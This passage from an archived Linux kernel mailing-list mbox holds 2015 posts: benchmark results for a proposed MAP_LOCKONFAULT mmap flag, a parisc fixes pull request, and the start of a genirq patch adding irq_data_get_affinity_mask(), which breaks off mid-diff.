be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise MAP_LOCKONFAULT is significantly faster.

Eric

--UugvWAfsgieZRqgk
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVVhJWAAoJELbVsDOpoOa9WYAP/3ov0vZPI/nakqAuXYzn2jqU
1Dv9ox2VB8OOYQ7rwRVnpS+yJ7uxXSHHiKZLwBOiCI6nRCAlPmropUW8M+2UsdLV
i/hvNzA4IuazdL2LqZ/w8pLD9wLtbP+9EqFP5ELbmNxmZyakXctGtxpsa+YUXoZM
viRheOLn9A6qkZvGqDo6A9jMckXRuvd2x7dG4M/qjSPTVGBq573/qFmcOzNqHRZ9
PQptov2DdetLXYLBIMoU9kb/cK9EHja8fL/vOyB53DScGcMBLNCcjFJIaPz33wy0
Jdm4/rJIW5SYF3D4V1UvcJY54MdumOiKkidGIPYsqOApyTiUmc6PK/fZxWz2/P6b
ab4AOBOHNYrURr45nDbgI0/exrvezuOlqnH4xvZTkZKuprx/pMaWFsv07oECfBpm
iQk7AcTzoF6j8k+UAl8so+VbZ9m5/FSvR+TAMkNb1mtACVL7Y3gAMcuQG7rap3fN
lJoe72b4MRpXfBaD/sdW1Q9Zi9SelcEzrV8jPZiEbRHyIQC0UkYRrL6wCM+lClV0
xj8A/y3LD9Kq+k4S0s7oSc65n1EEejx3SumZ3JoWxno1aNT2RI5c7sclxmaviGr0
Ro2Gbb0HwrlH2yXwGKkC8jEayG7NzDCZVlXHJ6j6SSGABaLD5DWbaDgzIhT8lGtL
xI28uUdrt/3kVWpHEZr3
=ycZg
-----END PGP SIGNATURE-----

--UugvWAfsgieZRqgk--
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc fixes for v4.1
Date: Fri, 15 May 2015 19:13:11 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20150515171311.GA5100@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1431710018 1974 80.91.229.3 (15 May 2015 17:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 May 2015 17:13:38 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri May 15 19:13:33 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YtJAw-0002cl-Of
	for glk-linux-kernel-3@plane.gmane.org; Fri, 15 May 2015 19:13:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933823AbbEORNZ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 15 May 2015 13:13:25 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:62458 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753617AbbEORNX (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 15 May 2015 13:13:23 -0400
Original-Received: from ls3530.box ([92.203.26.69]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0LskfZ-1ZMLP11VpR-012HDM; Fri, 15 May 2015 19:13:14
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:pQn3gW2JGfuG6T15LmKjjkLZi/bC5Zz3MHcYYSRE194uxe8vstc
 sBDKVWEkV0vtdhSMPXNyNgfeiGVxiyu5f3iY6cxXgg/5M/qDSeKB18F/OwaqRapehUHFGVg
 5GaTRyxpUgemlSHwt9GcBPEMf1O3/CqyVbpR04dU8V8CrVsva8kPGn73k84UIigQ+65dMYB
 vLJX8FshO76sHuIXPeSwg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1954655 gmane.linux.ports.parisc:25735
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1954655>

Hi Linus,

please pull the latest fixes for the parisc architecture for v4.1-rc4 from:

  http://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.1-2

One important patch which fixes crashes due to stack randomization on
architectures where the stack grows upwards (currently parisc and metag only).
This bug went unnoticed on parisc since kernel 3.14 where the flexible mmap
memory layout support was added by commit 9dabf60. The changes in fs/exec.c are
inside an #ifdef CONFIG_STACK_GROWSUP section and will not affect other
platforms.
The other two patches rename args of the kthread_arg() function and fixes a
printk output.

Thanks,
Helge

----------------------------------------------------------------
Alex Dowad (1):
      parisc: copy_thread(): rename 'arg' argument to 'kthread_arg'

Helge Deller (1):
      parisc,metag: Fix crashes due to stack randomization on stack-grows-upwards architectures

Scott Wood (1):
      parisc: %pf is only for function pointers

 arch/parisc/include/asm/elf.h   |  4 ++++
 arch/parisc/kernel/process.c    | 10 ++++++----
 arch/parisc/kernel/sys_parisc.c |  3 +++
 drivers/parisc/superio.c        |  2 +-
 fs/exec.c                       |  3 +++
 5 files changed, 17 insertions(+), 5 deletions(-)

From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH 0/3] Allow user to request memory to be locked on page
 fault
Date: Tue, 19 May 2015 16:30:05 -0400
Lines: 158
Approved: news@gmane.org
Message-ID: <20150519203005.GB2454@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
 <20150508124203.6679b1d35ad9555425003929@linux-foundation.org>
 <20150511180631.GA1227@akamai.com>
 <20150513150036.GG1227@akamai.com>
 <20150514080812.GC6433@dhcp22.suse.cz>
 <20150515153550.GA2454@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="pvezYHf7grwyp3Bc"
X-Trace: ger.gmane.org 1432067420 14562 80.91.229.3 (19 May 2015 20:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 May 2015 20:30:20 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Shuah Khan <shuahkh@osg.samsung.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Michal Hocko <mhocko@suse.cz>
Original-X-From: owner-linux-mm@kvack.org Tue May 19 22:30:10 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Yuo9S-0000X6-BN
	for glkm-linux-mm-2@m.gmane.org; Tue, 19 May 2015 22:30:10 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id A30C56B00E0; Tue, 19 May 2015 16:30:08 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 9E1B26B00E1; Tue, 19 May 2015 16:30:08 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 8AAC96B00E2; Tue, 19 May 2015 16:30:08 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pd0-f181.google.com (mail-pd0-f181.google.com [209.85.192.181])
	by kanga.kvack.org (Postfix) with ESMTP id 489FC6B00E0
	for <linux-mm@kvack.org>; Tue, 19 May 2015 16:30:08 -0400 (EDT)
Original-Received: by pdbnk13 with SMTP id nk13so39748569pdb.1
        for <linux-mm@kvack.org>; Tue, 19 May 2015 13:30:08 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=ONiYe2dVyYv0yO555H7vxJ6IyswAOkcam54cv4QTvY8=;
        b=ZZWbWsR4vvx4oATzJSt2eB0hkvwOgesr4PE5b8kdY9WNbu4Ykp9Ibyrylti30VFTvB
         YbsP/rVJ8CmDrxZiNV5Olltk9hJojYK13juKkCmARCmmH42KAGCdxB8cFiFnfq/h8MzZ
         WCdzSHWcq61vxAm21qerESTitpWkrSOnrv4cuPEf2fhgxRu/Z0CEwCsFhd5oDngjq8rv
         BrKt4w6W//6jUXkBUFZ0ZEsc9i5unTNH2hCrQ/oCIA8f0nQzRQ7iXg/rN02+TCCUD1Lm
         IivICES3fqWnjEHZK3lQSWvBGlveZvjUXSamBa8UdnPjXbucLgJgMaLMqOZfMW7SFeSL
         gYTg==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
X-Gm-Message-State: ALoCoQmG2hKcDQ88J9bWHM5zgjF4JySvhBgGFheFLEHMIExXI92xxO9nVac/dk65vrbNvmtcZf57TXYTW2PA2ZlBs5h2fcvi7V1M8ciYq7lW9wEJRxzVMt4hNnKsFydsqTHqapFphT3pjHdBzmSbnPNt4lypYriQ824vad5pWeg/es9fS4bjq/f0Q6piG+fpx1HVrjk6wIQX
X-Received: by 10.66.228.130 with SMTP id si2mr57006157pac.92.1432067407984;
        Tue, 19 May 2015 13:30:07 -0700 (PDT)
X-Received: by 10.66.228.130 with SMTP id si2mr57006083pac.92.1432067407299;
        Tue, 19 May 2015 13:30:07 -0700 (PDT)
Original-Received: from prod-mail-xrelay07.akamai.com (prod-mail-xrelay07.akamai.com. [72.246.2.115])
        by mx.google.com with ESMTP id tk1si22937707pbc.71.2015.05.19.13.30.06
        for <linux-mm@kvack.org>;
        Tue, 19 May 2015 13:30:07 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) client-ip=72.246.2.115;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.115 as permitted sender) smtp.mail=emunson@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 4940747F5C;
	Tue, 19 May 2015 20:30:06 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 393C947F5B;
	Tue, 19 May 2015 20:30:06 +0000 (GMT)
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 2042A80085;
	Tue, 19 May 2015 20:30:06 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150515153550.GA2454@akamai.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:132947 gmane.linux.ports.alpha:3091 gmane.linux.kernel:1957644 gmane.linux.ports.mips.general:48630 gmane.linux.ports.parisc:25736 gmane.linux.ports.ppc64.devel:113250 gmane.linux.ports.sparc:21048 gmane.linux.kernel.cross-arch:27786 gmane.linux.kernel.api:11321
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/132947>


--pvezYHf7grwyp3Bc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 15 May 2015, Eric B Munson wrote:

> On Thu, 14 May 2015, Michal Hocko wrote:
>=20
> > On Wed 13-05-15 11:00:36, Eric B Munson wrote:
> > > On Mon, 11 May 2015, Eric B Munson wrote:
> > >=20
> > > > On Fri, 08 May 2015, Andrew Morton wrote:
> > > >=20
> > > > > On Fri,  8 May 2015 15:33:43 -0400 Eric B Munson <emunson@akamai.=
com> wrote:
> > > > >=20
> > > > > > mlock() allows a user to control page out of program memory, bu=
t this
> > > > > > comes at the cost of faulting in the entire mapping when it is
> > > > > > allocated.  For large mappings where the entire area is not nec=
essary
> > > > > > this is not ideal.
> > > > > >=20
> > > > > > This series introduces new flags for mmap() and mlockall() that=
 allow a
> > > > > > user to specify that the covered are should not be paged out, b=
ut only
> > > > > > after the memory has been used the first time.
> > > > >=20
> > > > > Please tell us much much more about the value of these changes: t=
he use
> > > > > cases, the behavioural improvements and performance results which=
 the
> > > > > patchset brings to those use cases, etc.
> > > > >=20
> > > >=20
> > > > To illustrate the proposed use case I wrote a quick program that mm=
aps
> > > > a 5GB file which is filled with random data and accesses 150,000 pa=
ges
> > > > from that mapping.  Setup and processing were timed separately to
> > > > illustrate the differences between the three tested approaches.  the
> > > > setup portion is simply the call to mmap, the processing is the
> > > > accessing of the various locations in  that mapping.  The following
> > > > values are in milliseconds and are the averages of 20 runs each wit=
h a
> > > > call to echo 3 > /proc/sys/vm/drop_caches between each run.
> > > >=20
> > > > The first mapping was made with MAP_PRIVATE | MAP_LOCKED as a basel=
ine:
> > > > Startup average:    9476.506
> > > > Processing average: 3.573
> > > >=20
> > > > The second mapping was simply MAP_PRIVATE but each page was passed =
to
> > > > mlock() before being read:
> > > > Startup average:    0.051
> > > > Processing average: 721.859
> > > >=20
> > > > The final mapping was MAP_PRIVATE | MAP_LOCKONFAULT:
> > > > Startup average:    0.084
> > > > Processing average: 42.125
> > > >=20
> > >=20
> > > Michal's suggestion of changing protections and locking in a signal
> > > handler was better than the locking as needed, but still significantly
> > > more work required than the LOCKONFAULT case.
> > >=20
> > > Startup average:    0.047
> > > Processing average: 86.431
> >=20
> > Have you played with batching? Has it helped? Anyway it is to be
> > expected that the overhead will be higher than a single mmap call. The
> > question is whether you can live with it because adding a new semantic
> > to mlock sounds trickier and MAP_LOCKED is tricky enough already...
> >=20
>=20
> I reworked the experiment to better cover the batching solution.  The
> same 5GB data file is used, however instead of 150,000 accesses at
> regular intervals, the test program now does 15,000,000 accesses to
> random pages in the mapping.  The rest of the setup remains the same.
>=20
> mmap with MAP_LOCKED:
> Setup avg:      11821.193
> Processing avg: 3404.286
>=20
> mmap with mlock() before each access:
> Setup avg:      0.054
> Processing avg: 34263.201
>=20
> mmap with PROT_NONE and signal handler and batch size of 1 page:
> With the default value in max_map_count, this gets ENOMEM as I attempt
> to change the permissions, after upping the sysctl significantly I get:
> Setup avg:      0.050
> Processing avg: 67690.625
>=20
> mmap with PROT_NONE and signal handler and batch size of 8 pages:
> Setup avg:      0.098
> Processing avg: 37344.197
>=20
> mmap with PROT_NONE and signal handler and batch size of 16 pages:
> Setup avg:      0.0548
> Processing avg: 29295.669
>=20
> mmap with MAP_LOCKONFAULT:
> Setup avg:      0.073
> Processing avg: 18392.136
>=20
> The signal handler in the batch cases faulted in memory in two steps to
> avoid having to know the start and end of the faulting mapping.  The
> first step covers the page that caused the fault as we know that it will
> be possible to lock.  The second step speculatively tries to mlock and
> mprotect the batch size - 1 pages that follow.  There may be a clever
> way to avoid this without having the program track each mapping to be
> covered by this handeler in a globally accessible structure, but I could
> not find it.
>=20
> These results show that if the developer knows that a majority of the
> mapping will be used, it is better to try and fault it in at once,
> otherwise MAP_LOCKONFAULT is significantly faster.
>=20
> Eric

Is there anything else I can add to the discussion here?


--pvezYHf7grwyp3Bc
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVW51NAAoJELbVsDOpoOa9PQIQAJYsWV/aTxT1NeePEHXXzgc2
mZLqLo0f1XF66qBn4eFO8mSy3CD+MKTqxMxF5dtRJhHkelz7s6JJqwRjfQgr6IT6
bsGSERcshD3rpNdJQnfkGd3mTmq6FmfvTeaUYPopZrN1zkZU/SmrAvm6GpPhjnH2
TrXEVm2MEcESl3Q7mNZfNDeduI1sKSw03BaBj2uSVMY7EllwpnvlO4pujmAC9ZBY
fb+lNttd0wTErNUHvHrUtBT7dCqLuOjAqANT78k+aXROCuIIkmnHjJctVRjRz9Bh
KFCY9JQTTZ3llNFdO6w/EYGD+u8qVN+8NnGYlR31rQUgVQ9EkLkaoCTdWVl/4dlF
GklDSDyG7ICUly7lTRSE59Zbph+8SiLPAd9YnGI/Tv5QUTrKRtv2sBD7ahU39eF0
XLFB02ZX9nzOTTYxKp4UO8iFcRhIkVrefIB467HeW1k15jOoY9Js8Wv1DMcGuUcb
6iETzFsnYhi/+vQq27rUGNq8MVN0dEsqlI80hfUdmhuSZeeHefmWSPIA7fsROdYk
zx11IRSbEVzSkcLTKn3Y15futwTl6oAHg3uKcfehxSiY3HmLm7w1EWJ64XKLpWry
5Dr4G78pWTLTm+Z9TqpBtg5sAcPPnMZwzJybMGHBaNAJqB6ZW83oDM5ght/kStpT
n6kIODdplDv+SdRLA+3k
=Cgdc
-----END PGP SIGNATURE-----

--pvezYHf7grwyp3Bc--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <jiang.liu@linux.intel.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [Patch v2 08/14] genirq: Introduce helper function irq_data_get_affinity_mask()
Date: Wed, 20 May 2015 17:40:39 +0800
Lines: 734
Approved: news@gmane.org
Message-ID: <1432114845-24304-9-git-send-email-jiang.liu@linux.intel.com>
References: <1432114845-24304-1-git-send-email-jiang.liu@linux.intel.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1432114971 19381 80.91.229.3 (20 May 2015 09:42:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 May 2015 09:42:51 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-pci@vger.kernel.org,
        linux-acpi@vger.kernel.org,
        Russell King <rmk+kernel@arm.linux.org.uk>,
        Ingo Molnar <mingo@kernel.org>, linux-alpha@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-xtensa@linux-xtensa.org, xen-devel@lists.xenproject.org
To: Thomas Gleixner <tglx@linutronix.de>,
        Bjorn Helgaas <bhelgaas@google.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Randy Dunlap <rdunlap@infradead.org>,
        Yinghai Lu <yinghai@kernel.org>,
        Borislav Petkov <bp@alien8.de>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Steven Miao <realmz6@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        James Hogan <james.hogan@imgtec.com>,
        Ralf Baechle <ralf@linux-mips.org>,
Original-X-From: linux-mips-bounce@linux-mips.org Wed May 20 11:42:46 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Yv0WT-0000Ml-5A
	for sgi-linux-mips@gmane.org; Wed, 20 May 2015 11:42:45 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:33510 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27026548AbbETJmjIk5z7 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 20 May 2015 11:42:39 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 20 May 2015 11:42:23 +0200 (CEST)
Original-Received: from mga11.intel.com ([192.55.52.93]:25216 "EHLO mga11.intel.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27012555AbbETJmVW57ID (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Wed, 20 May 2015 11:42:21 +0200
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga102.fm.intel.com with ESMTP; 20 May 2015 02:42:15 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.13,464,1427785200"; 
   d="scan'208";a="728902358"
Original-Received: from gerry-dev.bj.intel.com ([10.238.158.61])
  by fmsmga002.fm.intel.com with ESMTP; 20 May 2015 02:42:03 -0700
X-Mailer: git-send-email 1.7.10.4
In-Reply-To: <1432114845-24304-1-git-send-email-jiang.liu@linux.intel.com>
X-archive-position: 47485
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jiang.liu@linux.intel.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:48636 gmane.linux.kernel:1958185 gmane.linux.kernel.pci:41758 gmane.linux.acpi.devel:75609 gmane.linux.ports.alpha:3093 gmane.linux.ports.arm.kernel:414794 gmane.linux.ports.ia64:25484 gmane.linux.kernel.metag:503 gmane.linux.ports.parisc:25737 gmane.linux.ports.ppc64.devel:113265 gmane.linux.ports.sh.devel:45986 gmane.linux.ports.sparc:21052
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/48636>

Introduce helper function irq_data_get_affinity_mask() and
irq_get_affinity_mask() to hide implementation details,
so we could move field 'affinity' from struct irq_data into
struct irq_common_data later.

Signed-off-by: Jiang Liu <jiang.liu@linux.intel.com>
---
 arch/alpha/kernel/irq.c                   |    2 +-
 arch/arm/kernel/irq.c                     |    4 ++--
 arch/arm64/kernel/irq.c                   |    4 ++--
 arch/blackfin/mach-common/ints-priority.c |    3 ++-
 arch/ia64/kernel/iosapic.c                |    2 +-
 arch/ia64/kernel/irq.c                    |    6 +++---
 arch/ia64/kernel/msi_ia64.c               |    4 ++--
 arch/ia64/sn/kernel/msi_sn.c              |    2 +-
 arch/metag/kernel/irq.c                   |   10 ++++++----
 arch/mips/bcm63xx/irq.c                   |    2 +-
 arch/mips/cavium-octeon/octeon-irq.c      |   14 ++++++++------
 arch/mips/pmcs-msp71xx/msp_irq_cic.c      |    3 ++-
 arch/mn10300/kernel/cevt-mn10300.c        |    2 +-
 arch/mn10300/kernel/irq.c                 |   13 +++++++------
 arch/parisc/kernel/irq.c                  |   12 ++++++------
 arch/powerpc/kernel/irq.c                 |    2 +-
 arch/powerpc/sysdev/xics/ics-opal.c       |    2 +-
 arch/powerpc/sysdev/xics/ics-rtas.c       |    2 +-
 arch/sh/kernel/irq.c                      |    7 ++++---
 arch/sparc/kernel/irq_64.c                |   12 +++++++-----
 arch/sparc/kernel/leon_kernel.c           |    6 +++---
 arch/x86/kernel/apic/io_apic.c            |    2 +-
 arch/x86/kernel/apic/vector.c             |    5 ++---
 arch/x86/kernel/irq.c                     |    5 +++--
 arch/xtensa/kernel/irq.c                  |   10 ++++++----
 drivers/irqchip/irq-mips-gic.c            |    2 +-
 drivers/parisc/iosapic.c                  |    2 +-
 drivers/sh/intc/chip.c                    |    6 +++---
 drivers/xen/events/events_base.c          |    4 ++--
 include/linux/irq.h                       |   12 ++++++++++++
 30 files changed, 93 insertions(+), 69 deletions(-)

diff --git a/arch/alpha/kernel/irq.c b/arch/alpha/kernel/irq.c
index 7b2be251c30f..bd8e47699cad 100644
--- a/arch/alpha/kernel/irq.c
+++ b/arch/alpha/kernel/irq.c
@@ -60,7 +60,7 @@ int irq_select_affinity(unsigned int irq)
 		cpu = (cpu < (NR_CPUS-1) ? cpu + 1 : 0);
 	last_cpu = cpu;
 
-	cpumask_copy(data->affinity, cpumask_of(cpu));
+	cpumask_copy(irq_data_get_affinity_mask(data), cpumask_of(cpu));
 	chip->irq_set_affinity(data, cpumask_of(cpu), false);
 	return 0;
 }
diff --git a/arch/arm/kernel/irq.c b/arch/arm/kernel/irq.c
index 350f188c92d2..baf8edebe26f 100644
--- a/arch/arm/kernel/irq.c
+++ b/arch/arm/kernel/irq.c
@@ -140,7 +140,7 @@ int __init arch_probe_nr_irqs(void)
 static bool migrate_one_irq(struct irq_desc *desc)
 {
 	struct irq_data *d = irq_desc_get_irq_data(desc);
-	const struct cpumask *affinity = d->affinity;
+	const struct cpumask *affinity = irq_data_get_affinity_mask(d);
 	struct irq_chip *c;
 	bool ret = false;
 
@@ -160,7 +160,7 @@ static bool migrate_one_irq(struct irq_desc *desc)
 	if (!c->irq_set_affinity)
 		pr_debug("IRQ%u: unable to set affinity\n", d->irq);
 	else if (c->irq_set_affinity(d, affinity, false) == IRQ_SET_MASK_OK && ret)
-		cpumask_copy(d->affinity, affinity);
+		cpumask_copy(irq_data_get_affinity_mask(d), affinity);
 
 	return ret;
 }
diff --git a/arch/arm64/kernel/irq.c b/arch/arm64/kernel/irq.c
index 240b75c0e94f..463fa2e7e34c 100644
--- a/arch/arm64/kernel/irq.c
+++ b/arch/arm64/kernel/irq.c
@@ -61,7 +61,7 @@ void __init init_IRQ(void)
 static bool migrate_one_irq(struct irq_desc *desc)
 {
 	struct irq_data *d = irq_desc_get_irq_data(desc);
-	const struct cpumask *affinity = d->affinity;
+	const struct cpumask *affinity = irq_data_get_affinity_mask(d);
 	struct irq_chip *c;
 	bool ret = false;
 
@@ -81,7 +81,7 @@ static bool migrate_one_irq(struct irq_desc *desc)
 	if (!c->irq_set_affinity)
 		pr_debug("IRQ%u: unable to set affinity\n", d->irq);
 	else if (c->irq_set_affinity(d, affinity, false) == IRQ_SET_MASK_OK && ret)
-		cpumask_copy(d->affinity, affinity);
+		cpumask_copy(irq_data_get_affinity_mask(d), affinity);
 
 	return ret;
 }
diff --git a/arch/blackfin/mach-common/ints-priority.c b/arch/blackfin/mach-common/ints-priority.c
index 7236bdfc71e6..332a434b4669 100644
--- a/arch/blackfin/mach-common/ints-priority.c
+++ b/arch/blackfin/mach-common/ints-priority.c
